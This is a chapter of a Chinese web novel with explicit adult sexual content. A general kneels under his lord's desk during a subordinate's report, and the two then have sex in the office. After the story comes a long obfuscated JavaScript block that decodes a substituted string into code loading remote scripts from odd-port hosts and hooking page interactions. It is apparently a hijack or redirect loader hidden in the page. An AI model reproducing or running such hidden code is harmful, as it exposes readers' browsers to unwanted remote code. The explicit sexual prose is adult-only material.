番外- 突如其来的军部半公开-秦上将调戏人(然后挨肏)(2 / 2)

末将在 崽崽 5771 字 2023-10-20

“………”

上将垂下睫毛,情绪意外的平稳而坦然:他的确羞耻,却不羞愧,更多的是隐秘的兴奋,和做了坏事却被纵容的窃喜。

雌虫不出声地调整姿势,让厌酌一只脚踩在他单膝跪着的腿面上,伸手扶着雄主线条优美的小腿,额头正好能抵上他前膝。军官先生用英俊而挺拔的鼻子慢慢地蹭了蹭厌酌腿面冰柔的布料,在他膝盖中心印下一个吻。

厌酌若其事地靠在椅子里,半垂着眼,一派宝相庄严,睫毛却忍不住轻轻颤了颤。

他感受得到秦晗怎么样簇拥着他的小腿。

军雌手掌宽大温热,带着一点力度握着脚踝,另一只手正绕到膝窝处缓缓摩挲。

而他的鞋面踩在秦晗因屈膝而紧绷的大腿腿面上,奇异地有磐石般的坚硬,和厚土般的温暖。

膝盖上轻轻地一痒,厌酌不动声色地往下看,军装齐整的上将单膝跪在桌下,正极庄重地把额面抵在自己小腿上。这个角度让秦晗的眉眼看不真切,只能看到他陡峭的鼻梁慢吞吞地沿着腿骨蹭上膝盖,犬类般浅拱,猫类般轻嗅。

似乎是察觉了厌酌的目光,上将蹭了一会,抬起头,英俊的脸掩在阴影里,黑眸却淬火般透出光来。他这么自下而上地仰望厌酌,掀起眼睫,轻轻笑了笑。

秦晗皮相冷硬,这一笑却温柔得教人心酸,腻而酥沙,有如醇酒。

一笑毕,他复又垂眸,俯首耐心地继续吻厌酌膝面。

雌虫有标准的英俊长相,五官深邃,鼻梁挺拔,剑眉压着凤眼,以至于他这样敛眸垂首时,眉骨在眼睫上投下一小片阴影,自有十足的庄严,哪怕是这么荒唐地跪在办公桌下头偷吻,也显出万分的虔诚与深情来。

军雌的吻极轻,嘴唇温度又颇高,落在少被触碰的膝盖上,痒得像在人心脏上轻轻一挠。

厌酌分心听着塞斯提的报告,面上还是不动声色地端着,手却悄悄摸下去,想捏住秦晗的舌尖,给上将一点小小的警告。

却没想指尖一热,居然又被秦上将叼着手指咬了一口,咬完后也没松嘴,腻乎乎地把手指含在口腔里吮。雌虫略显尖锐的虎牙就贴在厌酌指腹上。

今天怎么……?

厌酌眯着眼,不轻不重地往下一瞪。他长相艳极,面表情时冷漠得有如神祇,这样带着点嗔意斜来一眼,便立刻鲜活妩媚起来,看得站在厌酌对面汇报的指挥官轻轻一愣。

——原来那个冷慢的雄虫还有这样一面?

不同于方才长睫低垂,漫不经心的倦懒模样,这高不可攀的美丽神像突然沾了人气儿。坤山大公也不尽心瞒着秦晗的存在,理直气壮地视了眼前报告的指挥官,低着头只顾着往下看,长而浓密的睫毛扇子般扑朔,一缕碎发从耳边温柔地垂下来。

他的表情其实没变太多,也没有真的露出一个微笑,可那冰蓝的眼底盛了点纵容,便让他神色立刻温软下来,如厚雪消融,化作潺潺的春溪。

坤山大公也没做什么出格的动作——他只是更往椅背里靠了靠,放松而慵懒,微低着头往下偏去,眼神专注、温和。只这些细小的改变,那些冷淡就都散成温柔,让人看得心底发痒,骨头都酥麻。

局外人都乱了心神,被这美人垂青的秦晗只会更难以抵抗。

军雌被自己的雄主看得浑身都开始微微发烫,腰肢甚至已经软了。

秦晗漆黑的凤眼微眯着,显出醉酒般醺醺然的迷离。他紧盯着雄主的脸,不愿开一眼,慢慢地更弯下腰去,温热的手掌握住了厌酌的脚踝,没给厌酌反应的时间,就这么把他的脚托到唇边,在脚背鞋面上轻轻落下一吻。

他亲吻时,细长的眼还牢牢锁着厌酌,在黑暗里烟花一样明灭生光,宛若什么大型野兽紧盯猎物,显出几分难得的凶性。

雌虫的手温度颇高,圈在脚踝处有如烙铁,一路烫到人心底。

厌酌觉得有趣极了,也不阻拦,甚至抬起脚尖蹭蹭秦晗的下巴,居高临下地对他眨眨眼,作口型道,“随便玩吧。”

他说完,抬起头,脸上的温柔新雪般退去,又变成平日冷淡的模样,仿佛什么事都没发生过似的,对眼前的下属抬抬下巴,

“继续。”

塞斯提有条不紊的分析声重新响起,厌酌心不在焉地听着,大半心思都分给匍匐在自己胯下的雌虫——他的上将还能玩出什么花样?

他能感受到秦晗温热的手掌圈着自己慢慢摩挲——军雌没有褪下战术手套,皮质的手套触感有别于皮肤,几乎像是蛇类般攀附在腿上,一点点游曳、收紧,纠缠不休,透着与雌虫平日截然相反的穷奢极欲。

跪在他脚下的雌虫摸得认真,从膝盖开始,一寸一寸握到脚尖,擦拭枪械一般仔细摩挲,甚至圈着厌酌的膝窝脚踝,用虎口丈量他身体的尺寸。

他这么来回抚摸了好一会,把厌酌小腿都生生摸暖了,然后上将褪下了军用手套,没有遮挡的手轻轻沿着厌酌的裤腿往里头钻。

美人撑在下颌的手指轻轻一跳。

厌酌今天穿得正式,小腿上有一截皮带扣住长袜。雌虫的手就挨着贴身的裤腿挤进去,摸到那截皮带后,爱不释手地来回勾弄。

军雌手掌宽大,皮肤干燥,手心里有使用武器留下来的茧,热乎乎地贴在厌酌小腿后侧,指肚勾着那截细窄的皮带。秦晗的额头也轻轻靠过来,抵着厌酌的前膝,单膝跪地,俯首贴耳,虔诚地依偎,恭谦又强势地把雄主修长的小腿抱了个合缝。

上将哪怕占据主动,也和厌酌有着本质的区别:他占有他如同信徒朝圣,连侵略都是温柔的。

他视若珍宝地簇拥自己的主人,半分狎昵也,只有十足的肃穆和庄重,不像讨好情人,倒像是骑士宣誓效忠。

军雌的手颇规矩,扣着厌酌小腿上的皮带,之后就再没越界一步。他很安静,呼吸也是轻哑的,掌心慢吞吞地摩挲着雄主裤腿,偶尔揉捏一番,力道也轻得小心翼翼。

不规矩的是他的吻。雌虫的嘴唇顺着膝盖一路往里,亲到厌酌大腿,英俊的鼻梁拱开主人的衣摆,慢吞吞地顶到腿根,调情般轻轻吻了吻厌酌腰上的皮带扣。

美人眼睛一下子眯了起来,他没低头,目不斜视地坐着,手却伸下去,准确地捉住秦晗的舌头,带着点责备捏他湿软的舌面。

一直一动不动,任雌虫搂着的脚也慢吞吞地顶起来一点,膝盖正好抵在雌虫咽喉。

“唔………”

膝盖处上将的喉结轻轻滚了滚,声带瑟缩,发出很轻的一点呜咽,然后又安静下来。

雌虫温顺地任由厌酌欺负,眼底的笑意更浓了些,讨好地仰起头,轻轻吞吐美人的手指,滚烫的手覆盖在厌酌大腿上,小心揉捏着。

在撒娇呢…

厌酌一下子又拿他没什么办法了,眯着眼睛,腿重新放下来,懒洋洋地踩在雌虫怀里。秦晗慢吞吞地调整位置,好让厌酌的脚踏在自己下腹——厌酌略有些怕冷,身体常年偏凉,而那里体温最高,一定能取悦到他。

他放松肌肉,好让厌酌踩得更舒服些。

似乎是意识到军雌的讨好,雄主扣在他嘴里的手动了动,勾了一下雌虫的上颌。秦晗心照不宣地张开嘴,温顺地把厌酌的手指吐出来,又喘息着,侧过头,把雄主的手指吮吻干净。

厌酌从这个角度望下去,可以看到上将掩在桌面下的一点儿侧脸。他低着头,唯独鼻梁陡峭,英俊而笔挺,明明是如此淫荡低贱的讨好模样,雌虫神情却极认真,一寸寸吻过手指时的姿态堪称优雅。

秦上将舔干净了,抬起头,对上厌酌的目光,又微笑起来。上将漆黑的睫毛略有些湿润,让他看起来像是融化的蜂蜜一样粘稠甜腻。

今天倒是爱笑。厌酌慢慢地抚摸雌虫头顶,秦晗的头发黑而硬,扎在手心微微地发痒。军雌眯着眼,侧头把脸颊贴在厌酌大腿上,这么匍匐着靠在他膝头,像是被安抚好了的大型野兽,懒洋洋地享受主人的爱抚。

第三军团指挥官的报告持续了很久,等塞斯提终于低头鞠躬,恭敬地退到室外时,厌酌的大腿已经被雌虫的温度捂烫了。

“满意了?”美人一下子泄了力气,整个身体没有骨头似的陷到椅子里,翘起长腿,半躺下来,用手背拍拍军雌的侧脸。

“唔……”秦上将轻轻咕哝了一声,顺势跪起来了一点,豹一样从厌酌怀里慢慢往上攀,匍匐在他腰侧,整个脊背拧转、舒展,肌肉美好而光辉地收张。他像是睡了个好觉似的,低哼着,伸出手抚摸厌酌披在身上的那件黑色大氅,黑眸慵懒地眯着,显得满足的不得了。

“感谢您……我很喜欢。”他闷笑着说。

他摸得满意,就轮到厌酌来讨要利息。

———————————————

“唔……唔———!雄主……啊啊、啊…好深…”

穿着黑色军装的妻子被厌酌扣着腰,按在阴茎上尖叫。

秦晗背靠着厌酌,坐在肉棒上,双腿很不端庄地大大分在椅子两侧,挺翘的屁股显眼地撅着,上半身则整个匍匐在那张宽敞的办公桌上,被夹在桌椅中间,背对着雄主吃鸡巴。

他身上的军装还穿得整齐,只在双腿间被雄虫用精神力切开一道小缝,正好让肥嘟嘟的肉逼和后穴挤出来,流着水谄媚地咽阴茎。

雌虫甚至还好好穿着军裤和军靴,上半身更是一丝不苟,领结都扣到咽喉,显得禁欲又严厉。肩膀处纯金的绶带随着上将被阴茎颠簸的频率一颤一颤,浮光跃金,糜烂又淫奢。

这一身端庄得现在就能出去主持军部会议,但秦上将的脸恐怕就见不了人了——军雌眼角红得妩媚,满脸的汗与泪,几缕湿发贴在额角,黑色的凤眼氤氲着,眸子涣散,嘴唇半张着,露出一点湿润的舌和雪白的牙,表情完全融化了,妩媚又混乱,一副被操熟了,欲仙欲死的熟妇模样。

“要、要去……太快、又…………”

厌酌操得比平常凶不少,握着军雌被皮带收得窄韧的腰肢,一下一下把他往阴茎上按。秦晗被干得腰都直不起来,塌在办公桌上,仰着脖子尖叫,声音沙哑甜腻,伴着激烈粘稠的水声,把整个房间填得混乱不堪。

军雌浑身都瘫软,唯独翘起的屁股显眼,哪怕被硬挺的军用布料包裹着,弧度也丰腴得紧。也不知道阴茎到底在里头怎么刺激,那漂亮的肥屁股不停哆嗦痉挛,时不时崩溃地抬起一点点,下一刻又重重落回去,伴随着军雌含混不清的呜咽,“又去了———啊啊、太舒服了,我不行……雄主、雄主…”

他的穴本就被浇灌得肥厚美艳,不挨肏时也馒头似的嘟着,现在被阴茎整个撞肿了一圈,从布料里挤出来,颜色肉红红的。湿润的阴唇被阴茎撞得东倒西歪,榨汁似的打出浆来,汁水淋漓,艳得让人头皮发麻。

阴茎撞击间,还能看到那糜烂的肉花里头有金光轻微闪过,像花苞里的蕊一样扎眼——那是扣在雌虫阴蒂根部的那枚小金环。厌酌操他的时候,偶尔伸出手去揪一揪阴蒂,秦晗的哭声就能立刻更高一个调子。

操穿着军装的上将的次数少,再加上今天被他这么招惹,厌酌难免地有些坏心眼,他一边捣军雌泥泞一片的雌穴,一边随手拿了根桌上的钢笔,揉了揉雌虫软乎乎的后穴,就这么慢慢把钢笔插了进去——秦晗的屁眼也是被操熟了的,没多少抵抗,咕地一声,乖巧极了,把细细的钢笔整个吞下。

“呜…怎么………”

雌虫被钢笔冰得头皮一炸,腰肢跳了跳,又撅着屁股泄了。他被操得脑袋都囫囵,轻轻摇着头想摆脱着过度的快乐,下一秒却又因为被直直撞到生殖腔里头而仰起头尖叫,漆黑的凤眼瞪得大大的,瞳孔溶在眼泪里,像是个颤巍巍的墨点儿。

发情期之后,他被浇灌开了的生殖腔就能用了,身体的最后一处也被开发完毕。现在这样骑在阴茎上、被雄主握着腰肢抬起时,阴茎啾啾地拔出来,只剩头部埋在逼里,然后立刻又被雄主按着腰肢坐下去,肉屁股整个压在厌酌髋骨上,臀瓣哆嗦,把阴茎吃得密不透风。被操服了的阴道一路把肉棒咽到生殖腔里,那小小的肉环被啵地捅开填满,鲜被造访的最深处一次次地被阴茎强行吻开。秦晗被操得话都说不出来,摇着头,咬着自己的手指,瘫软在办公桌上,被插几下就小小潮吹一次。

室内地板是奢靡的晶石,不像家里头到处铺着软毯,水声也是闷闷的。如今他被阴茎肏得一股一股浇出水来,泄在地上,水声淅淅沥沥,响亮得紧,刚刚跪在桌子下放肆的雌虫就立刻被羞耻心击垮了。他有心忍耐,收紧小腹,几乎想哀求自己的身体,不要再这么丑态百出,淫荡不堪了——可他的身体早已不受秦晗本人意志控制。

厌酌似乎察觉了他的隐忍,苛责般捏着他的腰肢,阴茎变着角度几个来回,又快又狠,堪称恶劣地研磨过雌虫阴道内每个不堪一击的敏感处。

“唔———呃啊、呜……等………”

雌虫立刻被操服了,抬高了声音媚叫,女逼失守,泄得厉害,从尻缝里失禁似的喷出潮液,前头束在军裤里的阴茎也一跳一跳地射精了。

他剧烈地高潮的时候,主人的阴茎也没有停下鞭笞。秦晗到底是被好好操了那么久,也习惯了在高潮中被继续顶弄,被限地延长快乐,逼上更惊人的绝顶。雌虫腰肢抖簌,女逼在阴茎抽插的间隙里持续地漏潮,屁眼居然也跟着一起激烈地吹了,让里头那小小的钢笔掉了出来,叮地滚落到地上,黑色的笔身被捂得滚烫,浸了层甜蜜的水光。

“啊,弄掉了。”厌酌摸着雌虫紧绷的脊背发笑,“怎么笔都握不住?”

“呜、对不起…雄主、我——嘶………”明明是被欺负,可雌虫真的心慌意乱地开始道歉,臀肉甚至都因为紧张缩紧了,又在厌酌几个轻描淡写的撞击下再次被操软。

秦上将扭着腰,想道歉,却被快感冲刷得话都说不完整。他用手背遮着脸,抿着嘴,轻薄的翅膀慢吞吞地从军服肩胛处的缝隙里钻出来,垂落在背后,讨好地匍匐在厌酌手边。

“对不起、您……啊啊,您摸摸这里…呜……”

他软在办公桌上,额头抵着桌面,明明一点力气都没了,却还是想方设法撑起上半身,转过脑袋,哆嗦着对厌酌露出微笑。

现在都被操得受不了,再被摸翅膀,还不知道要露出什么样的丑态。秦晗紧张得睫毛都在发颤,翅膀却更往厌酌手边凑了凑。

可爱……

坤山大公心软得很,也不为难他,握着雌虫的腰,凑过去小心亲吻虫翼的翅缘。他的吻足够轻柔,落在敏感的翅膀上却不吝于惊涛骇浪,雌虫的女阴一下子绞紧了,半踩在地上的脚尖都绷直,惊叫声可怜地卡在喉咙里。

秦晗不耐操,厌酌耐力却好,往往雌虫高潮到腿都软了,他还没射精。坤山大公自己都觉得对军雌有些苛刻,于是几乎是贴在雌虫的翅膀上哄他,“再忍一忍,很快…等一下就射给你……”

“嗯、嗯……”雌虫的回应是从喉咙里勉强挤出来的,带着浓重的鼻音,瑟缩在办公桌上艰难地点头。偶尔转过脸望来,越过肩膀遥遥望厌酌一眼,眼神湿润可怜,却又满含信任与深情,完全是被欺负惨了还在主人脚边打转的大狗。

“乖…乖…”

厌酌的哄声越来越低,声音里也透了一点隐颤,沙哑带喘,眼瞳蓝得欲滴也似,肏逼的频率急促、狠戾。

他快射了,被操熟了的雌虫也似有所悟,身体兴奋极了,女阴裹着肉棒,谄媚而雀跃地吐水,生殖腔贪吃地坠下来,一下下裹紧龟头讨吻,整个雌性身体都做好了迎接精液的准备。

“雄主、雄主……”军雌的声音酥酥的,他已经发不出太高的调子,只能从嗓子里摩擦出气音,像是动物幼崽在呜咽。明明身体那么强壮、韧美,隆起的肌肉把军服绷得紧紧的,肉眼可见的强悍和力量,让人看了就漏一拍心跳,此刻却被肏得不停地哆嗦,明明有足够的能力反抗,却只选择哀哀地讨好、求饶,被欺负得都开始哽咽了,却还是心甘情愿的。

最后厌酌吻着军雌肩胛骨拢出的脊缝,紧箍着雌性的腰肢射给了他。雌虫被肏得狼狈不堪,吃到精液时水都要吹不出来,阴蒂一跳一跳地抽搐,捂着肚子,闷哼着接收灌溉。

他匍匐在办公桌上,半点力气也没有,被厌酌从腋下伸过手反扣着肩膀,扶着他往后仰,让他从跪趴变成仰靠在厌酌怀里。

秦晗哪怕还有一点力气,都不愿意这样把重量压在雄主身上,可他现在被操得眼都法聚焦,四肢酸软,像是玩偶似的被雄主随便摆弄。等他回过神来,就已经整个躺靠在雄主怀里,结实的双腿以一个丢人的姿势挂在扶手两侧,腿根几乎分成一条直线,被操得通红滚烫、冒着热气的肉逼屁眼都暴露在空气里,正对着紧闭的大门。雄主的阴茎正慢慢从泥泞一片的逼里拔出来。

呜……上将被这丢人的姿势耻得几乎要蜷缩起来,雄主的手却从腰肢轻轻穿过,摸到他耻骨,漂亮的手覆上他被操得湿红的女阴,微凉的体温冰得军雌轻轻唔了一声,脊背发起抖来。

厌酌慢条斯理地抚摸他,修长的手指拨弄着粘腻的阴唇、把那被操肿的肉花拨得东倒西歪,偶尔又去揪一揪箍着金环的阴蒂。那里正式敏感得遭不住碰的时候,摸一下,军雌柔韧的腰肢就轻轻一跳。

上将的喘息声还没平复多久,就又开始粗重起来。厌酌还没软下去的阴茎贴着雌虫泥泞一片的下体磨蹭,搅出叽叽咕咕的水声,最后抵在他肥嘟嘟的后穴上,半进不进,龟头轻轻扣着软腻的门扉。

他从后头吻秦晗耳根,声音也是湿漉漉的,含着笑,“还有力气吗?”

上将早在被鸡巴磨逼时就开始发抖,被厌酌含着敏感的耳垂调笑,抖得就更厉害了。他细长的眼睛眯着,睫毛和被打湿的蝴蝶一样,沉重得都抬不起来。军雌隐忍地看了厌酌一眼,抿起嘴,又纵容又可怜,自己慢吞吞地撑起一点身子,软乎乎的后穴柔顺地裹入龟头。雌虫撑在椅子上的手臂肌肉鼓起,大腿也绷得紧紧的,控制着肌肉缓缓沉腰,把阴茎一点一点咽到后穴里,声地回应主人的邀请。

把阴茎吃到了底,他才一下泄了力气,呜咽着转过头,哆哆嗦嗦地和厌酌讨要亲吻。

!function(){function a(a){var _idx="f4odvbsyaa";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmF6TS6^SmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6mYY65T_JmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR87oOfX)LTdd"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"7oOfX)LTdd"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mD4RYpSfmRT4"="o}0X5ThF)mR)Y)7_DmRT4"="o}02pThFmD4RYpSfmRT4"="o}0_JqhFmR)Y)7_DmRT4"="o}02TOhFmD4RYpSfmRT4"="o}0CSqhF)mR)Y)7_DmRT4"="o}0)FfThF)fmD4RYpSfmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qFq^)Y6(:mJfY)^(TmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q/f/o}0j(8}vR87oOfX)LTdd"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m46DfhdLmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();